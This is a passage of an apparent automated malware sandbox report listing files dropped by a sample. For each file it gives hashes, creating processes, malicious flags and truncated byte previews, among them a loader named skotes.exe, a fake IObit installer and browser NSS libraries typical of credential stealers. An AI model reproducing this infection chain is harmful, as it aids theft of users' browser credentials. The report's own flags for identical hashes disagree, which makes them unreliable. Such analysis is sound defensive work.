R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.e.O.E.N.z.8.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.995017158433874
Encrypted:	false
SSDEEP:	96:+jhYwMNQ0EqfvDRdmarNC8L28pmPt5AfeTnbor01:+VAEqHDbmarNtdYPDjoM
MD5:	A544DC5660967572D0BBCAE083F5D5E7
SHA1:	DE91209E8F70CE51EAF8423E1700C62BEF17C709
SHA-256:	059425228135BE4F6BAD0B58A5532A99378F8693E9862CF96955C2866A935E67
SHA-512:	8F7D4677D9A43225F70670FCDDF069F8B64AA86EAF47A79CE1C14DEA045B1EE5ED98BA051205D4C50D8E67A9E20CBBEC848B5E73D7F5C4E7F5E22DD967B327F8
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".v.v.3.2.T.b.Y.6.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.e.O.E.N.z.8.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8946882080566247
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x8xl9Il8uWMNoCwO9xG76XbwQe+awOkGDHKXnML16deIHnPPu0dc:amYwMLwO9/XUlh7DyML16zPPI
MD5:	DB3DCBF517CF2B4D5C5721A8D2DDEF1E
SHA1:	706C92E60374534F66B2DBF70E7C9AF7D5F84EF6
SHA-256:	71525A0EE782A1B373C48CBE321DD513DECBD36785186EF61A24363F1DC7D89A
SHA-512:	235A69FFBE96500B397BA55F29D055687293F5CE5AF05AD90839F3F9A1029CF9AAD4587EEF4819D7A013199E21F59C007C350E07B2F76A3851E615772D6CD00C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".l.Q.U.Z.f.o.d.Z.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.e.O.E.N.z.8.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.401541615732313
Encrypted:	false
SSDEEP:	96:6NnQATbHQbNnQqxbQqCNnQI9QuNnQ1dgEQMNnQQQaNnQlODQlNnQAwQINnQ1Y3Q5:6NrTsNzVCNPNElN1NeO+NPcNAn
MD5:	0E02F714CAE42B618FB364A10C7F6F5D
SHA1:	DC46C3B36E2B75C44CB51E22C3E5A5619B7546E3
SHA-256:	3545237C1B191E3733B86A9B3C94E764FBD599DF0BC5BEAF39CC274941A02C6C
SHA-512:	E46FE4E5722D00BCD4CAF770B3FC2D57F7264177EDF2F77231144B9B32F5E838DDFB90137210016DA5D931C357304EF274ED9E23D7CECA8AF863761029C2FA5E
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7C807ED66C1834AE9AFA62C7CC554F44",.. "id": "7C807ED66C1834AE9AFA62C7CC554F44",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7C807ED66C1834AE9AFA62C7CC554F44"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7A0D3F3AC263F7BF213F75648602AEA5",.. "id": "7A0D3F3AC263F7BF213F75648602AEA5",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7A0D3F3AC263F7BF213F75648602AEA5"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\IObit.Malware.Fighter.Pro-12.0.0.1433.sfx[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	23068672
Entropy (8bit):	7.997883395660116
Encrypted:	true
SSDEEP:	393216:Fhtj+W6d63vJrJZpWbLq/jrDDgQEza/sUtxL8Mz2d0XnsolcTZ:V+W6QxrJZaqvD1saGo0K6
MD5:	5B97284E4157DD6EA567002284F6C835
SHA1:	2FF4E2F40BA8E16F9D6166A965C2AD070751F725
SHA-256:	C0A3395D1F94562AB1EBED80264ABB4D337E1C5D04B5DEA7DC2615BABB3A1FA9
SHA-512:	C82851F4F986492A87095B7702979834860790D71509F3E6E124828A219BB7DF5432DC62E1DD521267FFD1F04E063DC3946D9C9CA5A3719D85E8A1E38FD19BAE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$.2.`.\.`.\.`.\..y..h.\..y....\..y..m.\.....b.\...X.r.\..._.j.\...Y.Y.\.i..i.\.i..b.\.i..g.\.`.].C.\..Y.R.\..\.a.\...a.\..^.a.\.Rich`.\.........PE..d...#.@f.........."....!.h...j.................@..........................................`.............................................4......P...............l0..............p....6..T....................7..(......@....................... ....................text...ng.......h.................. ..`.rdata...(.......*...l..............@..@.data...\...........................@....pdata..l0.......2..................@..@.didat..`...........................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..p...........................@..B........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.377013819747263
Encrypted:	false
SSDEEP:	48:SfNaoQYvqTEQYifNaoQeJVJHQerYfNaoQOXuQOefNaoQ+w0UrU0U8QE:6NnQpTEQ3NnQevBQeQNnQOXuQOGNnQ+E
MD5:	56D9A8B89DECB313A3F7B3310984CB14
SHA1:	C69E3956E71DB5E9A4800FF3DFCC152FCA6CDABC
SHA-256:	49B9B69D5448BE37259F91132060081BE3260A665D35304294DEF10C10E2B1FD
SHA-512:	811A5E1DABF0A408EAEDE0EAA25170702BA3CE0E4F91B18036C48FBF027CE88F3C765C3E50B057BA80326355C870BB27DB054B47AC19EA8FF35A1B28D90D312C
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/FD45479FEC28DBF004F4BB8D054174B6",.. "id": "FD45479FEC28DBF004F4BB8D054174B6",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/FD45479FEC28DBF004F4BB8D054174B6"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/DF2E2BB657632CEC0F56682EECAD9797",.. "id": "DF2E2BB657632CEC0F56682EECAD9797",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/DF2E2BB657632CEC0F56682EECAD9797"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1925632
Entropy (8bit):	7.949330278246305
Encrypted:	false
SSDEEP:	49152:kCSkkgCY8/d3hr9tWCT17LMUVgXHqUlOosPSYxtT972HXrKpaV4nEaEb:kmeY89DzGaUDsPZf97EXrR4EaE
MD5:	3C271702F5EEBC60E590F6803D8D2238
SHA1:	488B5450A017AB4F78D50A1C5ADB1C5B54643458
SHA-256:	EA5AFBA952C7C52E7FF10D775CECA244907B4699642DDE81D0DCA9D6814CE3D9
SHA-512:	DE4DFF6C44EBEE7A5B3BC8060A39167343CC9E5FB7D6555FF72289C6CA7C9DAF25BD8E19378430509329D20035F01F9D0D9A14B22E7D756621393B53233DA935
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@L...........@..........................pL......P....@.................................W...k.......H.....................L.............................@.L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .0+.........................@...ctjnidaj.P....1..D..................@...mpxgbiue.....0L......:..............@....taggant.0...@L.."...@..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007468001\IObit.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	23068672
Entropy (8bit):	7.997883395660116
Encrypted:	true
SSDEEP:	393216:Fhtj+W6d63vJrJZpWbLq/jrDDgQEza/sUtxL8Mz2d0XnsolcTZ:V+W6QxrJZaqvD1saGo0K6
MD5:	5B97284E4157DD6EA567002284F6C835
SHA1:	2FF4E2F40BA8E16F9D6166A965C2AD070751F725
SHA-256:	C0A3395D1F94562AB1EBED80264ABB4D337E1C5D04B5DEA7DC2615BABB3A1FA9
SHA-512:	C82851F4F986492A87095B7702979834860790D71509F3E6E124828A219BB7DF5432DC62E1DD521267FFD1F04E063DC3946D9C9CA5A3719D85E8A1E38FD19BAE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$.2.`.\.`.\.`.\..y..h.\..y....\..y..m.\.....b.\...X.r.\..._.j.\...Y.Y.\.i..i.\.i..b.\.i..g.\.`.].C.\..Y.R.\..\.a.\...a.\..^.a.\.Rich`.\.........PE..d...#.@f.........."....!.h...j.................@..........................................`.............................................4......P...............l0..............p....6..T....................7..(......@....................... ....................text...ng.......h.................. ..`.rdata...(.......*...l..............@..@.data...\...........................@....pdata..l0.......2..................@..@.didat..`...........................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..p...........................@..B........................................................................................................................................

C:\Users\user\AppData\Local\Temp\32c7d6fb-d4ea-471e-a40c-afddcdbc10b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\56ea9ca5-1bda-4802-842e-f45c0748c085.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\811ec4a7-59a4-4bdc-9619-b18120eaee94.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsDBFBFBGDBK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1925632
Entropy (8bit):	7.949330278246305
Encrypted:	false
SSDEEP:	49152:kCSkkgCY8/d3hr9tWCT17LMUVgXHqUlOosPSYxtT972HXrKpaV4nEaEb:kmeY89DzGaUDsPZf97EXrR4EaE
MD5:	3C271702F5EEBC60E590F6803D8D2238
SHA1:	488B5450A017AB4F78D50A1C5ADB1C5B54643458
SHA-256:	EA5AFBA952C7C52E7FF10D775CECA244907B4699642DDE81D0DCA9D6814CE3D9
SHA-512:	DE4DFF6C44EBEE7A5B3BC8060A39167343CC9E5FB7D6555FF72289C6CA7C9DAF25BD8E19378430509329D20035F01F9D0D9A14B22E7D756621393B53233DA935
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@L...........@..........................pL......P....@.................................W...k.......H.....................L.............................@.L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .0+.........................@...ctjnidaj.P....1..D..................@...mpxgbiue.....0L......:..............@....taggant.0...@L.."...@..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bd4fecb4-50fc-4f5a-a3d1-9932af26acb4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
